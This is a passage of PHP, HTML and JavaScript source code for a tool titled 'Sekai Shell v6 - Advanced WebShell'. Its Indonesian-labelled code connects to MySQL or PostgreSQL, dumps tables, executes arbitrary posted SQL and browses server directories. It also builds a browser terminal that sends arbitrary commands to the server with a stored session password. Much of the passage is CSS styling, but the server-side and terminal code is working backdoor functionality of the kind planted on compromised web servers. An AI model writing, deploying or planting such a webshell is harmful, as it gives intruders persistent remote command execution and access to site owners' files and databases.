        $db_msg = "<p class='success'>Terhubung ke ".$driver." @ ".$host.($port!==''?":".$port:"")." / ".$name."</p>";
    } catch (Exception $e) {
        $db_msg = "<p class='error'>Gagal koneksi: ".htmlspecialchars($e->getMessage())."</p>";
    }
}

function db_make_pdo($cfg) {
    if (!$cfg) return null;
    $driver = $cfg['driver'];
    $host = $cfg['host'];
    $port = $cfg['port'];
    $name = $cfg['name'];
    $user = $cfg['user'];
    $pass = $cfg['pass'];
    $dsn = '';
    if ($driver === 'mysql') {
        $p = $port !== '' ? $port : '3306';
        $dsn = "mysql:host=".$host.";port=".$p.";dbname=".$name;
    } elseif ($driver === 'pgsql') {
        $p = $port !== '' ? $port : '5432';
        $dsn = "pgsql:host=".$host.";port=".$p.";dbname=".$name;
    } else {
        return null;
    }
    try {
        return new PDO($dsn, $user, $pass, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC]);
    } catch (Exception $e) {
        return null;
    }
}

if ($db_cfg && !$db_connected) {
    $pdo = db_make_pdo($db_cfg);
    if ($pdo) $db_connected = true;
}

if ($db_connected) {
    if (!isset($pdo)) $pdo = db_make_pdo($db_cfg);
    try {
        if ($db_cfg['driver'] === 'mysql') {
            $stmt = $pdo->query("SHOW TABLES");
            $db_tables = $stmt ? $stmt->fetchAll(PDO::FETCH_NUM) : [];
            $db_tables = array_map(function($r){return $r[0];}, $db_tables);
        } else {
            $stmt = $pdo->query("SELECT tablename FROM pg_catalog.pg_tables WHERE schemaname NOT IN ('pg_catalog','information_schema')");
            $rows = $stmt ? $stmt->fetchAll(PDO::FETCH_ASSOC) : [];
            $db_tables = array_map(function($r){return $r['tablename'];}, $rows);
        }
    } catch (Exception $e) {
        $db_msg .= "<p class='error'>Gagal ambil tabel: ".htmlspecialchars($e->getMessage())."</p>";
    }
    $db_limit = isset($_GET['db_limit']) ? max(1, min(1000, intval($_GET['db_limit']))) : 50;
    if (isset($_GET['db_table'])) {
        $t = $_GET['db_table'];
        try {
            if ($db_cfg['driver'] === 'mysql') {
                $q = "SELECT * FROM `".$t."` LIMIT ".$db_limit;
            } else {
                $q = 'SELECT * FROM "'.$t.'" LIMIT '.$db_limit;
            }
            $st = $pdo->query($q);
            if ($st) {
                $rows = $st->fetchAll(PDO::FETCH_ASSOC);
                if (count($rows) > 0) {
                    $cols = array_keys($rows[0]);
                    $html = "<div class='box'><h3>Data: ".htmlspecialchars($t)." (".$db_limit." baris)</h3><div class='table-scroll'><table><tr>";
                    foreach ($cols as $c) { $html .= "<th>".htmlspecialchars($c)."</th>"; }
                    $html .= "</tr>";
                    foreach ($rows as $r) {
                        $html .= "<tr>";
                        foreach ($cols as $c) {
                            $val = isset($r[$c]) ? $r[$c] : null;
                            $html .= "<td>".htmlspecialchars((string)$val)."</td>";
                        }
                        $html .= "</tr>";
                    }
                    $html .= "</table></div></div>";
                    $db_result_html = $html;
                } else {
                    $db_result_html = "<div class='box'><p>Tabel kosong</p></div>";
                }
            }
        } catch (Exception $e) {
            $db_result_html = "<div class='box'><p class='error'>Error: ".htmlspecialchars($e->getMessage())."</p></div>";
        }
    }
    if (isset($_POST['db_run_sql']) && isset($_POST['db_sql'])) {
        $sql = trim($_POST['db_sql']);
        if ($sql !== '') {
            try {
                $st = $pdo->query($sql);
                if ($st instanceof PDOStatement) {
                    $rows = $st->fetchAll(PDO::FETCH_ASSOC);
                    if (count($rows) > 0) {
                        $cols = array_keys($rows[0]);
                        $html = "<div class='box'><h3>Hasil Query</h3><div class='table-scroll'><table><tr>";
                        foreach ($cols as $c) { $html .= "<th>".htmlspecialchars($c)."</th>"; }
                        $html .= "</tr>";
                        foreach ($rows as $r) {
                            $html .= "<tr>";
                            foreach ($cols as $c) {
                                $val = isset($r[$c]) ? $r[$c] : null;
                                $html .= "<td>".htmlspecialchars((string)$val)."</td>";
                            }
                            $html .= "</tr>";
                        }
                        $html .= "</table></div></div>";
                        $db_result_html = $html;
                    } else {
                        $db_result_html = "<div class='box'><p>Tidak ada baris.</p></div>";
                    }
                } else {
                    $db_result_html = "<div class='box'><p>Query dieksekusi.</p></div>";
                }
            } catch (Exception $e) {
                $db_result_html = "<div class='box'><p class='error'>Error: ".htmlspecialchars($e->getMessage())."</p></div>";
            }
        }
    }
}

// Get current directory listing
$cwd = $_SESSION['cwd'];
$files = scandir($cwd);
$breadcrumbs_html = '';
$parts = preg_split('/[\/\\\\]+/', $cwd, -1, PREG_SPLIT_NO_EMPTY);
$crumbs = [];
if (preg_match('/^[A-Za-z]:[\/\\\\]/', $cwd)) {
    $root = substr($cwd, 0, 2) . DIRECTORY_SEPARATOR;
    $crumbs[] = '<a href="#" onclick="changeDirectory(\''.htmlspecialchars(js_escape($root)).'\'); return false;">'.htmlspecialchars(substr($cwd, 0, 2)).'</a>';
} else {
    $root = DIRECTORY_SEPARATOR;
    $crumbs[] = '<a href="#" onclick="changeDirectory(\''.htmlspecialchars(js_escape(DIRECTORY_SEPARATOR)).'\'); return false;">'.htmlspecialchars(DIRECTORY_SEPARATOR).'</a>';
}
$acc = [];
for ($i = 0; $i < count($parts); $i++) {
    $acc[] = $parts[$i];
    $acc_path = $root . implode(DIRECTORY_SEPARATOR, $acc);
    $label = htmlspecialchars($parts[$i]);
    if ($i < count($parts) - 1) {
        $crumbs[] = '<a href="#" onclick="changeDirectory(\''.htmlspecialchars(js_escape($acc_path)).'\'); return false;">'.$label.'</a>';
    } else {
        $crumbs[] = '<span>'.$label.'</span>';
    }
}
$breadcrumbs_html = implode(' <span class="sep">/</span> ', $crumbs);
$dir_datalist = '';
foreach ($files as $f) {
    if ($f === '.' || $f === '..') continue;
    $full = $cwd . DIRECTORY_SEPARATOR . $f;
    if (is_dir($full)) {
        $dir_datalist .= '<option value="'.htmlspecialchars($full).'">';
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Sekai Shell v6 - Advanced WebShell</title>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/prism/1.29.0/themes/prism-tomorrow.min.css">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        :root {
            --bg-primary: #06070a;
            --bg-secondary: #10131a;
            --bg-tertiary: #181d26;
            --border-color: #283142;
            --text-primary: #edf2ff;
            --text-secondary: #aeb8cf;
            --accent-blue: #3b82f6;
            --accent-green: #22c55e;
            --accent-red: #ef4444;
            --accent-yellow: #f59e0b;
            --accent-purple: #8b5cf6;
            --shadow: 0 14px 36px rgba(0, 0, 0, 0.35);
            --transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
        }

        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, 'Helvetica Neue', Arial, sans-serif;
            background:
                radial-gradient(1200px 500px at 12% -10%, rgba(59, 130, 246, 0.14), transparent 60%),
                radial-gradient(900px 420px at 92% 0%, rgba(139, 92, 246, 0.12), transparent 62%),
                var(--bg-primary);
            color: var(--text-primary);
            line-height: 1.6;
            overflow-x: hidden;
            min-height: 100vh;
        }

        body::before {
            content: "";
            position: fixed;
            inset: 0;
            pointer-events: none;
            z-index: -1;
            opacity: 0.18;
            background-image:
                linear-gradient(rgba(255,255,255,0.04) 1px, transparent 1px),
                linear-gradient(90deg, rgba(255,255,255,0.04) 1px, transparent 1px);
            background-size: 24px 24px;
        }

        .container {
            max-width: 1500px;
            margin: 0 auto;
            padding: 24px;
        }

        .header {
            background: linear-gradient(180deg, rgba(16, 19, 26, 0.95), rgba(16, 19, 26, 0.85));
            border: 1px solid var(--border-color);
            border-radius: 16px;
            padding: 24px;
            margin-bottom: 24px;
            box-shadow: var(--shadow);
            backdrop-filter: blur(14px);
        }

        .header h1 {
            font-size: 2.1rem;
            font-weight: 700;
            background: linear-gradient(135deg, var(--accent-blue), var(--accent-purple));
            -webkit-background-clip: text;
            -webkit-text-fill-color: transparent;
            background-clip: text;
            margin-bottom: 10px;
            letter-spacing: 0.2px;
        }

        .header-stats {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 15px;
            margin-top: 15px;
        }

        .stat-card {
            background: var(--bg-tertiary);
            padding: 12px;
            border-radius: 8px;
            border: 1px solid var(--border-color);
            transition: var(--transition);
        }

        .stat-card:hover {
            border-color: var(--accent-blue);
            transform: translateY(-2px);
        }

        .stat-label {
            font-size: 0.8rem;
            color: var(--text-secondary);
            text-transform: uppercase;
            letter-spacing: 0.5px;
        }

        .stat-value {
            font-size: 1.1rem;
            font-weight: 600;
            color: var(--text-primary);
        }

        .stat-subvalue {
            margin-top: 6px;
            font-size: 0.85rem;
            color: var(--text-secondary);
            word-break: break-word;
        }

        .usage-bar {
            margin-top: 10px;
            height: 8px;
            border-radius: 999px;
            background: rgba(255, 255, 255, 0.08);
            overflow: hidden;
        }

        .usage-fill {
            height: 100%;
            border-radius: 999px;
            background: linear-gradient(90deg, var(--accent-blue), var(--accent-purple));
        }

        .usage-fill.warn {
            background: linear-gradient(90deg, #f59e0b, #ef4444);
        }

        .insights-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(240px, 1fr));
            gap: 15px;
        }

        .action-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(260px, 1fr));
            gap: 15px;
        }

        .panel-grid {
            display: grid;
            grid-template-columns: minmax(0, 1.7fr) minmax(300px, 1fr);
            gap: 20px;
            align-items: start;
        }

        .section-note {
            margin: 0 0 16px;
            color: var(--text-secondary);
            font-size: 0.95rem;
        }

        .stack-sm {
            display: flex;
            flex-direction: column;
            gap: 10px;
        }

        .inline-actions {
            display: flex;
            gap: 10px;
            align-items: center;
            flex-wrap: wrap;
        }

        .quick-links {
            display: flex;
            gap: 10px;
            flex-wrap: wrap;
        }

        .quick-link-pill {
            display: inline-flex;
            align-items: center;
            gap: 8px;
            padding: 10px 14px;
            border-radius: 999px;
            background: var(--bg-tertiary);
            border: 1px solid var(--border-color);
            color: var(--text-primary);
        }

        .quick-link-pill:hover {
            border-color: var(--accent-blue);
            text-decoration: none;
            color: white;
            background: var(--accent-blue);
        }

        .nav-tabs {
            display: flex;
            gap: 10px;
            margin-bottom: 20px;
            padding: 8px;
            border: 1px solid var(--border-color);
            background: rgba(16, 19, 26, 0.82);
            border-radius: 14px;
            backdrop-filter: blur(12px);
            position: sticky;
            top: 12px;
            z-index: 90;
        }

        .nav-tab {
            padding: 11px 16px;
            background: transparent;
            border: 1px solid var(--border-color);
            border-radius: 10px;
            cursor: pointer;
            transition: var(--transition);
            font-weight: 600;
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .nav-tab:hover {
            background: rgba(59, 130, 246, 0.12);
            border-color: rgba(59, 130, 246, 0.35);
        }

        .nav-tab.active {
            background: linear-gradient(135deg, rgba(59, 130, 246, 0.26), rgba(139, 92, 246, 0.24));
            border-color: rgba(139, 92, 246, 0.45);
            color: white;
            box-shadow: inset 0 1px 0 rgba(255,255,255,0.1);
        }

        .tab-content {
            display: none;
        }

        .tab-content.active {
            display: block;
            animation: fadeIn 0.26s ease;
        }

        .box {
            background: linear-gradient(180deg, rgba(16, 19, 26, 0.95), rgba(16, 19, 26, 0.82));
            border: 1px solid var(--border-color);
            border-radius: 16px;
            padding: 22px;
            margin-bottom: 22px;
            box-shadow: var(--shadow);
            transition: var(--transition);
            backdrop-filter: blur(8px);
        }

        .box:hover {
            border-color: rgba(59, 130, 246, 0.45);
        }

        .box h3 {
            margin-bottom: 15px;
            color: var(--text-primary);
            display: flex;
            align-items: center;
            gap: 10px;
            font-size: 1.2rem;
        }

        input, textarea, select, button {
            background: var(--bg-tertiary);
            color: var(--text-primary);
            border: 1px solid var(--border-color);
            padding: 12px 16px;
            border-radius: 10px;
            font-size: 14px;
            transition: var(--transition);
            font-family: inherit;
        }

        input:focus, textarea:focus, select:focus {
            outline: none;
            border-color: var(--accent-blue);
            box-shadow: 0 0 0 3px rgba(59, 130, 246, 0.16);
        }

        button, input[type=submit] {
            cursor: pointer;
            background: linear-gradient(135deg, #2563eb, #7c3aed);
            color: white;
            border: none;
            font-weight: 600;
            padding: 12px 24px;
            border-radius: 10px;
            transition: var(--transition);
            box-shadow: 0 12px 22px rgba(37, 99, 235, 0.25);
        }

        button:hover, input[type=submit]:hover {
            background: linear-gradient(135deg, #1d4ed8, #6d28d9);
            transform: translateY(-1px);
            box-shadow: 0 16px 28px rgba(37, 99, 235, 0.32);
        }

        button:active, input[type=submit]:active {
            transform: translateY(0);
        }

        button.secondary {
            background: var(--bg-tertiary);
            color: var(--text-primary);
            border: 1px solid var(--border-color);
        }

        button.secondary:hover {
            background: var(--bg-primary);
            border-color: var(--accent-blue);
        }

        button.danger {
            background: var(--accent-red);
        }

        button.danger:hover {
            background: #e03e50;
            box-shadow: 0 6px 20px rgba(255, 71, 87, 0.3);
        }

        a {
            color: var(--accent-blue);
            text-decoration: none;
            transition: var(--transition);
        }

        a:hover {
            color: #0080e6;
            text-decoration: underline;
        }

        table {
            border-collapse: collapse;
            width: 100%;
            background: rgba(24, 29, 38, 0.7);
            border-radius: 12px;
            overflow: hidden;
        }

        td, th {
            padding: 12px;
            text-align: left;
            border-bottom: 1px solid var(--border-color);
        }

        th {
            background: rgba(6, 7, 10, 0.75);
            color: var(--text-primary);
            font-weight: 600;
            text-transform: uppercase;
            font-size: 0.85rem;
            letter-spacing: 0.5px;
        }

        tr:hover td {
            background: rgba(59, 130, 246, 0.09);
        }

        .error {
            color: var(--accent-red);
            background: rgba(255, 71, 87, 0.1);
            padding: 12px;
            border-radius: 8px;
            border-left: 4px solid var(--accent-red);
        }

        .success {
            color: var(--accent-green);
            background: rgba(0, 212, 170, 0.1);
            padding: 12px;
            border-radius: 8px;
            border-left: 4px solid var(--accent-green);
        }

        .warning {
            color: var(--accent-yellow);
            background: rgba(255, 165, 2, 0.1);
            padding: 12px;
            border-radius: 8px;
            border-left: 4px solid var(--accent-yellow);
        }

        .breadcrumbs {
            margin: 15px 0;
            padding: 15px;
            background: rgba(24, 29, 38, 0.7);
            border-radius: 10px;
            border: 1px solid var(--border-color);
            overflow: auto;
            white-space: nowrap;
        }

        .breadcrumbs a {
            color: var(--accent-blue);
            text-decoration: none;
            padding: 4px 8px;
            border-radius: 4px;
            transition: var(--transition);
        }

        .breadcrumbs a:hover {
            background: rgba(0, 150, 255, 0.1);
            text-decoration: none;
        }

        .breadcrumbs .sep {
            margin: 0 8px;
            color: var(--text-secondary);
            opacity: 0.6;
        }

        .file-list {
            max-height: 60vh;
            overflow: auto;
            border-radius: 8px;
            border: 1px solid var(--border-color);
        }

        .name-cell {
            display: flex;
            align-items: center;
            gap: 10px;
        }

        .icon {
            width: 16px;
            height: 16px;
            display: flex;
            align-items: center;
            justify-content: center;
        }

        .actions {
            white-space: nowrap;
            display: flex;
            gap: 8px;
        }

        .actions a {
            padding: 4px 8px;
            border-radius: 4px;
            font-size: 0.85rem;
            transition: var(--transition);
        }

        .actions a:hover {
            background: rgba(0, 150, 255, 0.1);
            text-decoration: none;
        }

        .actions a.danger:hover {
            background: rgba(255, 71, 87, 0.1);
        }

        .sel-col {
            width: 44px;
            text-align: center;
        }

        .upload-zone {
            border: 2px dashed var(--border-color);
            border-radius: 12px;
            padding: 40px;
            text-align: center;
            transition: var(--transition);
            cursor: pointer;
            background: var(--bg-tertiary);
        }

        .upload-zone:hover {
            border-color: var(--accent-blue);
            background: rgba(0, 150, 255, 0.05);
        }

        .upload-zone.dragover {
            border-color: var(--accent-blue);
            background: rgba(0, 150, 255, 0.1);
            transform: scale(1.02);
        }

        .terminal {
            background: radial-gradient(circle at top, rgba(16, 185, 129, 0.08), #050b08 72%);
            color: #8af7be;
            font-family: 'JetBrains Mono', 'Consolas', 'Monaco', monospace;
            padding: 20px;
            border-radius: 12px;
            height: 400px;
            overflow-y: auto;
            border: 1px solid rgba(34, 197, 94, 0.25);
            position: relative;
            box-shadow: inset 0 0 22px rgba(34, 197, 94, 0.08);
        }

        .terminal-output {
            white-space: pre-wrap;
            word-break: break-all;
            line-height: 1.4;
        }

        .terminal-input {
            background: transparent;
            border: none;
            color: #a7f3d0;
            font-family: inherit;
            outline: none;
            width: 100%;
            padding: 0;
            font-size: 14px;
        }

        .terminal-prompt {
            color: #34d399;
            font-weight: bold;
        }

        .editor-grid {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
            margin-top: 15px;
        }

        .code-pane {
            background: var(--bg-tertiary);
            border: 1px solid var(--border-color);
            border-radius: 8px;
            overflow: hidden;
        }

        .pane-title {
            background: var(--bg-primary);
            padding: 12px 16px;
            font-weight: 600;
            border-bottom: 1px solid var(--border-color);
            display: flex;
            align-items: center;
            gap: 8px;
        }

        .code-view, .code-editor {
            width: 100%;
            height: 400px;
            font-family: 'Fira Code', 'Consolas', 'Monaco', monospace;
            font-size: 14px;
            line-height: 1.5;
            padding: 16px;
            border: none;
            outline: none;
            resize: none;
            background: var(--bg-secondary);
            color: var(--text-primary);
        }

        .code-editor {
            background: var(--bg-primary);
        }

        .db-form-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 15px;
            margin-bottom: 20px;
        }

        .db-grid {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 20px;
        }

        .table-scroll {
            overflow: auto;
            max-height: 400px;
            border-radius: 8px;
            border: 1px solid var(--border-color);
        }

        .progress-bar {
            width: 100%;
            height: 4px;
            background: var(--bg-tertiary);
            border-radius: 2px;
            overflow: hidden;
            margin: 10px 0;
        }

        .progress-fill {
            height: 100%;
            background: linear-gradient(90deg, var(--accent-blue), var(--accent-purple));
            transition: width 0.3s ease;
            border-radius: 2px;
        }

        .keyboard-shortcuts {
            position: fixed;
            bottom: 20px;
            right: 20px;
            background: var(--bg-secondary);
            border: 1px solid var(--border-color);
            border-radius: 8px;
            padding: 15px;
            box-shadow: var(--shadow);
            font-size: 0.85rem;
            max-width: 300px;
            z-index: 1000;
        }

        .shortcut {
            display: flex;
            justify-content: space-between;
            margin-bottom: 5px;
        }

        .shortcut:last-child {
            margin-bottom: 0;
        }

        .key {
            background: var(--bg-tertiary);
            padding: 2px 6px;
            border-radius: 4px;
            font-family: monospace;
            font-size: 0.8rem;
            border: 1px solid var(--border-color);
        }

        .floating-actions {
            position: fixed;
            bottom: 20px;
            left: 20px;
            display: flex;
            flex-direction: column;
            gap: 10px;
            z-index: 1000;
        }

        .fab {
            width: 56px;
            height: 56px;
            border-radius: 50%;
            background: var(--accent-blue);
            color: white;
            border: none;
            cursor: pointer;
            display: flex;
            align-items: center;
            justify-content: center;
            font-size: 1.2rem;
            box-shadow: var(--shadow);
            transition: var(--transition);
        }

        .fab:hover {
            transform: scale(1.1);
            box-shadow: 0 8px 25px rgba(0, 150, 255, 0.4);
        }

        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background: rgba(0, 0, 0, 0.8);
            z-index: 2000;
            backdrop-filter: blur(5px);
        }

        .modal-content {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            background: var(--bg-secondary);
            border: 1px solid var(--border-color);
            border-radius: 12px;
            padding: 30px;
            max-width: 90vw;
            max-height: 90vh;
            overflow: auto;
            box-shadow: 0 20px 60px rgba(0, 0, 0, 0.5);
        }

        .close {
            position: absolute;
            top: 15px;
            right: 20px;
            font-size: 1.5rem;
            cursor: pointer;
            color: var(--text-secondary);
            transition: var(--transition);
        }

        .close:hover {
            color: var(--accent-red);
        }

        .search-box {
            position: relative;
            margin-bottom: 20px;
        }

        .search-box input {
            width: 100%;
            padding-left: 40px;
        }

        .search-box i {
            position: absolute;
            left: 12px;
            top: 50%;
            transform: translateY(-50%);
            color: var(--text-secondary);
        }

        .file-item {
            transition: var(--transition);
            cursor: pointer;
        }

        .file-item:hover {
            background: rgba(0, 150, 255, 0.05);
        }

        .file-item.selected {
            background: rgba(0, 150, 255, 0.1);
            border-left: 3px solid var(--accent-blue);
        }

        .status-indicator {
            display: inline-block;
            width: 8px;
            height: 8px;
            border-radius: 50%;
            margin-right: 8px;
        }

        .status-online { background: var(--accent-green); }
        .status-offline { background: var(--accent-red); }
        .status-warning { background: var(--accent-yellow); }

        @media (max-width: 768px) {
            .container {
                padding: 10px;
            }
            
            .header h1 {
                font-size: 1.5rem;
            }
            
            .header-stats {
                grid-template-columns: 1fr;
            }
            
            .nav-tabs {
                flex-wrap: wrap;
            }
            
            .nav-tab {
                flex: 1;
                min-width: 120px;
                justify-content: center;
            }

            .panel-grid {
                grid-template-columns: 1fr;
            }
            
            
            .editor-grid {
                grid-template-columns: 1fr;
            }
            
            .db-grid {
                grid-template-columns: 1fr;
            }
            
            .floating-actions {
                bottom: 10px;
                left: 10px;
            }
            
            .keyboard-shortcuts {
                display: none;
            }
        }

        @keyframes pulse {
            0%, 100% { opacity: 1; }
            50% { opacity: 0.5; }
        }

        .pulse {
            animation: pulse 2s infinite;
        }

        .fade-in {
            animation: fadeIn 0.5s ease-in;
        }

        @keyframes fadeIn {
            from { opacity: 0; transform: translateY(20px); }
            to { opacity: 1; transform: translateY(0); }
        }

        .tooltip {
            position: relative;
            cursor: help;
        }

        .tooltip::after {
            content: attr(data-tooltip);
            position: absolute;
            bottom: 100%;
            left: 50%;
            transform: translateX(-50%);
            background: var(--bg-primary);
            color: var(--text-primary);
            padding: 8px 12px;
            border-radius: 6px;
            font-size: 0.8rem;
            white-space: nowrap;
            opacity: 0;
            visibility: hidden;
            transition: var(--transition);
            z-index: 1000;
            border: 1px solid var(--border-color);
        }

        .tooltip:hover::after {
            opacity: 1;
            visibility: visible;
        }
        /* Modern table styles */
        .table-container {
            overflow-x: auto;
            border-radius: 12px;
            border: 1px solid var(--border-color);
        }
        .modern-table {
            width: 100%;
            border-collapse: collapse;
            background: rgba(16, 19, 26, 0.88);
        }
        .modern-table th {
            background: var(--bg-tertiary);
            padding: 12px;
            text-align: left;
            font-weight: 600;
            border-bottom: 1px solid var(--border-color);
            color: var(--text-primary);
        }
        .modern-table td {
            padding: 12px;
            border-bottom: 1px solid var(--border-color);
            color: var(--text-secondary);
        }
        .modern-table tr:hover {
            background: rgba(59, 130, 246, 0.1);
        }
        .file-row.selected {
            background: rgba(0, 150, 255, 0.1) !important;
        }
        .name-cell {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        .file-icon {
            font-size: 1.2em;
        }
        .filename {
            font-weight: 500;
            color: var(--text-primary);
            max-width: 200px;
            overflow: hidden;
            text-overflow: ellipsis;
            white-space: nowrap;
        }
        .btn-action {
            display: inline-flex;
            align-items: center;
            justify-content: center;
            width: 34px;
            height: 34px;
            border-radius: 8px;
            background: rgba(24, 29, 38, 0.9);
            color: #c4cee5;
            border: 1px solid transparent;
            text-decoration: none;
            transition: var(--transition);
            margin: 0 2px;
        }
        .btn-action:hover {
            background: rgba(59, 130, 246, 0.2);
            border-color: rgba(59, 130, 246, 0.4);
            color: white;
            transform: translateY(-1px);
        }
        .btn-action.delete-action:hover {
            background: rgba(239, 68, 68, 0.22);
            border-color: rgba(239, 68, 68, 0.45);
        }
        .sel-col {
            width: 40px;
            text-align: center;
        }
        .size-cell, .date-cell, .perms-cell {
            font-family: 'Courier New', monospace;
            font-size: 0.9em;
        }
        
        /* Button styles */
        .btn-primary, .btn-secondary, .btn-danger {
            display: inline-flex;
            align-items: center;
            gap: 6px;
            padding: 8px 16px;
            border: none;
            border-radius: 6px;
            font-size: 14px;
            font-weight: 500;
            cursor: pointer;
            transition: var(--transition);
            text-decoration: none;
        }
        .btn-primary {
            background: var(--accent-blue);
            color: white;
        }
        .btn-primary:hover {
            background: #0077cc;
            transform: translateY(-1px);
        }
        .btn-secondary {
            background: var(--bg-tertiary);
            color: var(--text-primary);
        }
        .btn-secondary:hover {
            background: var(--bg-primary);
            color: var(--accent-blue);
        }
        .btn-danger {
            background: var(--accent-red);
            color: white;
        }
        .btn-danger:hover {
            background: #cc2839;
            transform: translateY(-1px);
        }
        
        /* Upload indicator */
        .upload-indicator {
            position: fixed;
            top: 20px;
            right: 20px;
            background: var(--bg-secondary);
            border: 1px solid var(--border-color);
            border-radius: 8px;
            padding: 15px;
            box-shadow: var(--shadow);
            z-index: 1000;
            min-width: 250px;
        }
        .upload-progress {
            margin-bottom: 10px;
        }
        .upload-progress-bar {
            height: 4px;
            background: var(--accent-green);
            border-radius: 2px;
            transition: width 0.3s ease;
            width: 0%;
        }
        .upload-progress-text {
            font-size: 14px;
            color: var(--text-secondary);
            margin-top: 5px;
        }
    </style>
    
    <script>
        // Format bytes to human readable format
        function formatBytes(bytes, decimals = 2) {
            if (bytes === 0) return '0 Bytes';
            const k = 1024;
            const dm = decimals < 0 ? 0 : decimals;
            const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
            const i = Math.floor(Math.log(bytes) / Math.log(k));
            return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
        }
        
        // File manager functionality
        document.addEventListener('DOMContentLoaded', function() {
            const fileTable = document.getElementById('file_table');
            const selectAll = document.getElementById('sel_all');
            const selectedCount = document.getElementById('selected-count');
            
            // Select all functionality
            if (selectAll && fileTable) {
                selectAll.addEventListener('change', function() {
                    const checkboxes = fileTable.querySelectorAll('input[type="checkbox"][name="sel[]"]');
                    const rows = fileTable.querySelectorAll('.file-row');
                    checkboxes.forEach((cb, index) => {
                        cb.checked = selectAll.checked;
                        if (selectAll.checked) {
                            rows[index]?.classList.add('selected');
                        } else {
                            rows[index]?.classList.remove('selected');
                        }
                    });
                    updateSelectedCount();
                });
            }
            
            // Individual checkbox selection
            if (fileTable) {
                fileTable.addEventListener('change', function(e) {
                    if (e.target.type === 'checkbox' && e.target.name === 'sel[]') {
                        const row = e.target.closest('.file-row');
                        if (row) {
                            if (e.target.checked) {
                                row.classList.add('selected');
                            } else {
                                row.classList.remove('selected');
                            }
                        }
                        updateSelectedCount();
                        updateSelectAllState();
                    }
                });
            }
            
            // Update selected count
            function updateSelectedCount() {
                if (selectedCount) {
                    const checkedBoxes = fileTable.querySelectorAll('input[type="checkbox"][name="sel[]"]:checked');
                    selectedCount.textContent = `${checkedBoxes.length} items selected`;
                }
            }
            
            // Update select all checkbox state
            function updateSelectAllState() {
                if (selectAll) {
                    const checkboxes = fileTable.querySelectorAll('input[type="checkbox"][name="sel[]"]');
                    const checkedBoxes = fileTable.querySelectorAll('input[type="checkbox"][name="sel[]"]:checked');
                    selectAll.checked = checkboxes.length > 0 && checkboxes.length === checkedBoxes.length;
                    selectAll.indeterminate = checkedBoxes.length > 0 && checkedBoxes.length < checkboxes.length;
                }
            }
            
            // Refresh file manager
            window.refreshFileManager = function() {
                window.location.reload();
            };
            
            // Initialize
            updateSelectedCount();
        });
        
        // Terminal functionality
        const shellPass = <?php echo json_encode(isset($_SESSION['pass']) ? $_SESSION['pass'] : ''); ?>;
        let terminalHistory = [];
        let historyIndex = -1;
        let currentCommand = '';
        
        function executeCommand() {
            const input = document.getElementById('terminal-input');
            const output = document.getElementById('terminal-output');
            const realtime = document.getElementById('realtime-terminal')?.checked;
            
            if (!input || !output) return;
            
            const command = input.value.trim();
            if (!command) return;
            
            // Add to history
            terminalHistory.push(command);
            historyIndex = terminalHistory.length;
            
            // Add command to output
            const commandLine = document.createElement('div');
            commandLine.className = 'terminal-command';
            commandLine.innerHTML = `<span class="terminal-prompt">$ </span>${escapeHtml(command)}`;
            output.appendChild(commandLine);
            
            // Clear input
            input.value = '';
            
            // Create output container
            const outputLine = document.createElement('div');
            outputLine.className = 'terminal-command-output';
            output.appendChild(outputLine);
            
            // Scroll to bottom
            output.scrollTop = output.scrollHeight;
            
            executeTerminalCommand(command, outputLine, realtime);
        }
        
        function buildTerminalRequest(command, realtime) {
            const formData = new FormData();
            formData.append('cmd', command);
            if (realtime) {
                formData.append('realtime', '1');
            }
            if (shellPass) {
                formData.append('pass', shellPass);
            }
            return formData;
        }
        
        async function changeDirectory(newDir) {
            const formData = new FormData();
            formData.append('cd', newDir);
            if (shellPass) {
                formData.append('pass', shellPass);
            }
            
            try {
                const response = await fetch(window.location.href, {
                    method: 'POST',
                    body: formData,
                    headers: {
                        'X-Requested-With': 'XMLHttpRequest'
                    }
                });
                
                const result = await response.text();
                if (result === 'SUCCESS') {
                    // Reload page or update current directory display
                    window.location.reload();
                } else {
                    alert('Failed to change directory: ' + result);
                }
            } catch (error) {
                alert('Error changing directory: ' + error.message);
            }
        }
        
        function responseNeedsLogin(status, html) {
            return status === 401 || html === 'SESSION_EXPIRED' || html.includes('name="pass"') || html.includes('type="password"');
        }

        async function executeTerminalCommand(command, container, realtime) {
            try {
                const requestOptions = {
                    method: 'POST',
                    body: buildTerminalRequest(command, realtime),
                    headers: {
                        'X-Requested-With': 'XMLHttpRequest'
                    }
                };

                let response = await fetch(window.location.href, requestOptions);
                let html = await response.text();

                if (responseNeedsLogin(response.status, html)) {
                    if (!shellPass) {
                        throw new Error('Session expired. Reload the page and sign in again.');
                    }
                    response = await fetch(window.location.href, requestOptions);
                    html = await response.text();
                    if (responseNeedsLogin(response.status, html)) {
                        throw new Error('Session expired. Reload the page and sign in again.');
                    }
                }

                const parser = new DOMParser();
                const doc = parser.parseFromString(html, 'text/html');
                const outputElement = doc.querySelector('.command-output, pre, .output');

                if (outputElement) {
                    container.innerHTML = outputElement.innerHTML;
                } else {
                    container.textContent = html;
                }

                const output = document.getElementById('terminal-output');
